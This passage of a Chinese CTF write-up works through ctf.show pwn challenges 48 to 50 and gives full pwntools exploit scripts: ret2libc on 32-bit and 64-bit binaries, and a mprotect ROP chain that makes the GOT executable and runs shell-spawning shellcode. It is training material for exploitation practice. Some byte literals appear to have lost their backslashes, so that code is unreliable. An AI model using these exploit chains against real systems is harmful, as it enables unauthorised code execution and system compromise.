io = remote('pwn.challenge.ctf.show',28214 )
# io = process("")
elf = ELF('./pwn48')
# libc= ELF('libc.so.6')

main_add =0x0804863D
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ", hex(puts_got))
print("Puts_plt: ", hex(puts_plt))

offset =0x6B

payload1 = b'a' * (offset + 4) + p32(puts_plt) + p32(main_add) + p32(puts_got)
io.sendlineafter(b'O.o?', payload1)
puts_addr = u32(io.recvuntil(b'xf7')[-4:])
print("Puts_addr: ", hex(puts_addr))

libc = LibcSearcher('puts', puts_addr)

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset + 4) + p32(system_add) + p32(0) + p32(bin_sh_add)
io.sendlineafter(b'O.o?', payload2)

io.interactive()

pwn49

32位

NX开启

提示mprotect

mprotect()函数可以修改调用进程内存页的保护属性

所以利用mprotect函数,就可以绕过NX

从而达到写入shellcode的目的


int ctfshow()
{
  _BYTE v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

ctfshow函数中拿到偏移地址

0x12+4

mprotect函数存在三个参数

这三个参数分别为:内存区域起始地址 内存区域大小 访问权限

而访问权限,又有三个值

r:4
w:2
x:1

所以,rwx权限(可读可写可执行)就是0x7

想要调用mprotect函数

就需要让ctfshow函数的返回地址为mprotect函数的地址

通过gdb的disass mprotect 指令

拿到mprotect的地址


pwndbg> disass mprotect
Dump of assembler code for function mprotect:
   0x0806cdd0 <+0>:	push   ebx
   0x0806cdd1 <+1>:	mov    edx,DWORD PTR [esp+0x10]
   0x0806cdd5 <+5>:	mov    ecx,DWORD PTR [esp+0xc]
   0x0806cdd9 <+9>:	mov    ebx,DWORD PTR [esp+0x8]
   0x0806cddd <+13>:	mov    eax,0x7d
   0x0806cde2 <+18>:	call   DWORD PTR gs:0x10
   0x0806cde9 <+25>:	pop    ebx
   0x0806cdea <+26>:	cmp    eax,0xfffff001
   0x0806cdef <+31>:	jae    0x8070520 <__syscall_error>
   0x0806cdf5 <+37>:	ret    
End of assembler dump.

所以mprotect函数的地址为:0x0806cdd0

mprotect函数可以被调用了,但我们还需要找到这个函数的返回地址

返回地址选为read函数的地址,这样能帮助写入shellcode到内存空间里

对于mprotect函数部分的payload,情况就是

填充 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数

在IDA里面查找得到read函数的地址

read 0x0806BEE0

现在就只要补齐三个参数就好了

首先是内存区域起始地址,选用got表的起始地址

选用got表的原因:

1. .got.plt 表的特性

全局偏移表(GOT) 是 ELF(Executable and Linkable Format)文件格式中的一个重要部分,用于存储动态链接库中函数的地址。.got.plt 表 是 GOT 表的一个子集,专门用于存储程序中调用的动态链接库函数的地址。它通常位于程序的内存空间中,且在程序运行时会被加载到内存中。

2. 为什么选择 .got.plt 表的起始地址

内存对齐和权限修改的便利性
.got.plt 表的起始地址通常是内存页的起始地址(通常是 4KB 对齐),这符合 mprotect 函数的要求,即起始地址必须是内存页的起始地址。修改 .got.plt 表的权限可以覆盖整个表的范围,而不需要担心跨页问题,因为 .got.plt 表通常不会跨越多个内存页。
绕过 NX 保护
在现代操作系统中,栈和堆通常是没有执行权限的(即开启了 NX 保护)。而 .got.plt 表位于程序的 .got 段中,这个段通常是可以读写的。通过修改 .got.plt 表的权限,可以将其设置为可读、可写、可执行(PROT_READ | PROT_WRITE | PROT_EXEC),从而绕过 NX 保护,为执行 shellcode 提供条件。
避免对程序其他部分的影响
.got.plt 表通常用于存储动态链接库函数的地址,修改其权限不会直接影响程序的其他部分(如栈、堆等)。相比之下,修改 .bss 段可能会导致程序崩溃,因为 .bss 段在程序启动时会被清零,修改后的内容可能会被覆盖。

所以寻找got表地址

使用readelf -S pwn49

这个命令就能拿到所有节头信息


There are 31 section headers, starting at offset 0xa1474:

Section Headers:
  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al
  [ 0]                   NULL            00000000 000000 000000 00      0   0  0
  [ 1] .note.ABI-tag     NOTE            080480f4 0000f4 000020 00   A  0   0  4
  [ 2] .note.gnu.build-i NOTE            08048114 000114 000024 00   A  0   0  4
readelf: Warning: [ 3]: Link field (0) should index a symtab section.
  [ 3] .rel.plt          REL             08048138 000138 000070 08  AI  0  19  4
  [ 4] .init             PROGBITS        080481a8 0001a8 000023 00  AX  0   0  4
  [ 5] .plt              PROGBITS        080481d0 0001d0 000070 00  AX  0   0  8
  [ 6] .text             PROGBITS        08048240 000240 063421 00  AX  0   0 16
  [ 7] __libc_freeres_fn PROGBITS        080ab670 063670 000ba7 00  AX  0   0 16
  [ 8] __libc_thread_fre PROGBITS        080ac220 064220 000127 00  AX  0   0 16
  [ 9] .fini             PROGBITS        080ac348 064348 000014 00  AX  0   0  4
  [10] .rodata           PROGBITS        080ac360 064360 018b98 00   A  0   0 32
  [11] .eh_frame         PROGBITS        080c4ef8 07cef8 011e48 00   A  0   0  4
  [12] .gcc_except_table PROGBITS        080d6d40 08ed40 0000ac 00   A  0   0  1
  [13] .tdata            PROGBITS        080d86e0 08f6e0 000010 00 WAT  0   0  4
  [14] .tbss             NOBITS          080d86f0 08f6f0 000020 00 WAT  0   0  4
  [15] .init_array       INIT_ARRAY      080d86f0 08f6f0 000008 04  WA  0   0  4
  [16] .fini_array       FINI_ARRAY      080d86f8 08f6f8 000008 04  WA  0   0  4
  [17] .data.rel.ro      PROGBITS        080d8700 08f700 0018d4 00  WA  0   0 32
  [18] .got              PROGBITS        080d9fd4 090fd4 000028 00  WA  0   0  4
  [19] .got.plt          PROGBITS        080da000 091000 000044 04  WA  0   0  4
  [20] .data             PROGBITS        080da060 091060 000f20 00  WA  0   0 32
  [21] __libc_subfreeres PROGBITS        080daf80 091f80 000024 00  WA  0   0  4
  [22] __libc_IO_vtables PROGBITS        080dafc0 091fc0 000354 00  WA  0   0 32
  [23] __libc_atexit     PROGBITS        080db314 092314 000004 00  WA  0   0  4
  [24] __libc_thread_sub PROGBITS        080db318 092318 000004 00  WA  0   0  4
  [25] .bss              NOBITS          080db320 09231c 000cdc 00  WA  0   0 32
  [26] __libc_freeres_pt NOBITS          080dbffc 09231c 000014 00  WA  0   0  4
  [27] .comment          PROGBITS        00000000 09231c 000029 01  MS  0   0  1
  [28] .symtab           SYMTAB          00000000 092348 008640 10     29 1090  4
  [29] .strtab           STRTAB          00000000 09a988 006992 00      0   0  1
  [30] .shstrtab         STRTAB          00000000 0a131a 000159 00      0   0  1
Key to Flags:
  W (write), A (alloc), X (execute), M (merge), S (strings), I (info),
  L (link order), O (extra OS processing required), G (group), T (TLS),
  C (compressed), x (unknown), o (OS specific), E (exclude),
  p (processor specific)

[19] .got.plt PROGBITS 080da000 091000 000044 04 WA 0 0 4

这里拿到got表地址

0x080da000

现在填补另外两个参数:内存区域大小和权限

大小就可以随便设定就好,0x100啥的应该都能随便用,大了改小,小了改大,能存入shellcode就够了

权限则是0x7即可

参数找到了,还需要找到三个pop,一个ret的gadget


ctfshow@ubuntu:~/Desktop/xd$ ROPgadget --binary pwn49 --only "pop|ret" |grep "pop"
0x0809f422 : pop ds ; pop ebx ; pop esi ; pop edi ; ret
0x0809f41a : pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08056194 : pop eax ; pop edx ; pop ebx ; ret
0x080a8dd6 : pop eax ; ret
0x0806a68d : pop ebp ; pop ebx ; pop esi ; pop edi ; ret
0x0809f805 : pop ebp ; pop esi ; pop edi ; ret
0x0804834c : pop ebp ; ret
0x0805d6f2 : pop ebp ; ret 4
0x080a1db7 : pop ebp ; ret 8
0x0809f804 : pop ebx ; pop ebp ; pop esi ; pop edi ; ret
0x0805b75e : pop ebx ; pop edi ; ret
0x0806dfea : pop ebx ; pop edx ; ret
0x080a019b : pop ebx ; pop esi ; pop ebp ; ret
0x08048349 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0805d6ef : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db4 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 8
0x08049bd9 : pop ebx ; pop esi ; pop edi ; ret
0x08049807 : pop ebx ; pop esi ; ret
0x080481c9 : pop ebx ; ret
0x080c2fdc : pop ebx ; ret 0x6f9
0x0806e012 : pop ecx ; pop ebx ; ret
0x0804834b : pop edi ; pop ebp ; ret
0x0805d6f1 : pop edi ; pop ebp ; ret 4
0x080a1db6 : pop edi ; pop ebp ; ret 8
0x08069cbe : pop edi ; pop ebx ; ret
0x08061c3b : pop edi ; pop esi ; pop ebx ; ret
0x080921b8 : pop edi ; pop esi ; ret
0x08049bdb : pop edi ; ret
0x08056195 : pop edx ; pop ebx ; ret
0x0806e011 : pop edx ; pop ecx ; pop ebx ; ret
0x0806dfeb : pop edx ; ret
0x0809f419 : pop es ; pop eax ; pop ebx ; pop esi ; pop edi ; ret
0x08065aba : pop es ; pop edi ; ret
0x08065cfa : pop es ; ret
0x080a019c : pop esi ; pop ebp ; ret
0x0806dfe9 : pop esi ; pop ebx ; pop edx ; ret
0x08061c3c : pop esi ; pop ebx ; ret
0x0804834a : pop esi ; pop edi ; pop ebp ; ret
0x0805d6f0 : pop esi ; pop edi ; pop ebp ; ret 4
0x080a1db5 : pop esi ; pop edi ; pop ebp ; ret 8
0x08069cbd : pop esi ; pop edi ; pop ebx ; ret
0x08049bda : pop esi ; pop edi ; ret
0x08049808 : pop esi ; ret
0x08054706 : pop esp ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x0809e12e : pop esp ; ret
0x0805ad28 : pop esp ; ret 0x8b38
0x080622c9 : pop ss ; ret 0x2c73
0x08062c8a : pop ss ; ret 0x3273
0x080622b4 : pop ss ; ret 0x3e73
0x08062c70 : pop ss ; ret 0x4c73
0x0806229f : pop ss ; ret 0x5073
0x0806228a : pop ss ; ret 0x6273
0x08062c56 : pop ss ; ret 0x6673
0x08060805 : pop ss ; ret 0x830f

通过指令找到这样的gadget

0x08056194

这个gadget就能作为mprotect的返回地址

填充地址 0x12+4

mprotect函数 0x0806cdd0

返回地址 0x08056194

mprotect的三个参数 0x080da000 0x100 0x7

read函数 0x0806BEE0

shellcode由asm方法生成


shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

然后是read部分的payload

read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

read的参数1是文件标识符

即fd

常态下,fd=0即可

所以read参数1写0就可

至于参数2和参数3,shellcode写在got,所以参数2为got表起始地址,参数3就写内存区域大小即可


shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

完整exp:


# -*- coding: UTF-8 -*-
from pwn import *
u=remote("pwn.challenge.ctf.show",28307)
shellcode = asm(shellcraft.sh(),arch='i386',os='linux')
payload = b'a'*(0x12+4)
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))
u.sendline(payload)
u.sendline(shellcode)
u.interactive()

pwn50


[*] 'C:\Users\26597\Desktop\pwn50'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      No canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

看到puts函数

提示libc版本

猜是ret2libc的64位

套板子

exp:


from pwn import *
from LibcSearcher import *

io = remote('pwn.challenge.ctf.show',28119)
#io=process("./pwn50")
elf = ELF('./pwn50')
# libc= ELF('libc.so.6')

ret_add =0x00000000004004fe
pop_rdi =0x00000000004007e3
main_add =0x0000000000400745
puts_got = elf.got['puts']
puts_plt = elf.plt['puts']

print("Puts_got: ",hex(puts_got))
print("Puts_plt: ",hex(puts_plt))

offset=0x20

payload1 = b'a' * (offset+8) + p64(pop_rdi) + p64(puts_got) + p64(puts_plt) + p64(main_add)
io.sendlineafter(b'Hello CTFshow', payload1)
puts_addr = u64(io.recvuntil(b'x7f')[-6:].ljust(8,b'x00'))
print("Puts_addr: ",hex(puts_addr))

libc = LibcSearcher('puts',puts_addr)   # libc6_2.27-0ubuntu2_amd64

libc_base = puts_addr - libc.dump('puts')
system_add = libc_base + libc.dump('system')
bin_sh_add = libc_base + libc.dump('str_bin_sh')

# libc_base = puts_addr - libc.symbols['puts']
# system_add = libc_base + libc.symbols['system']
# bin_sh_add = libc_base + next(libc.search(b'/bin/sh'))

payload2 = b'a' * (offset+8) + p64(ret_add) + p64(pop_rdi) + p64(bin_sh_add) + p64(system_add)

io.sendlineafter(b'Hello CTFshow', payload2)

io.interactive()
© 版权声明

相关文章

暂无评论

none
暂无评论...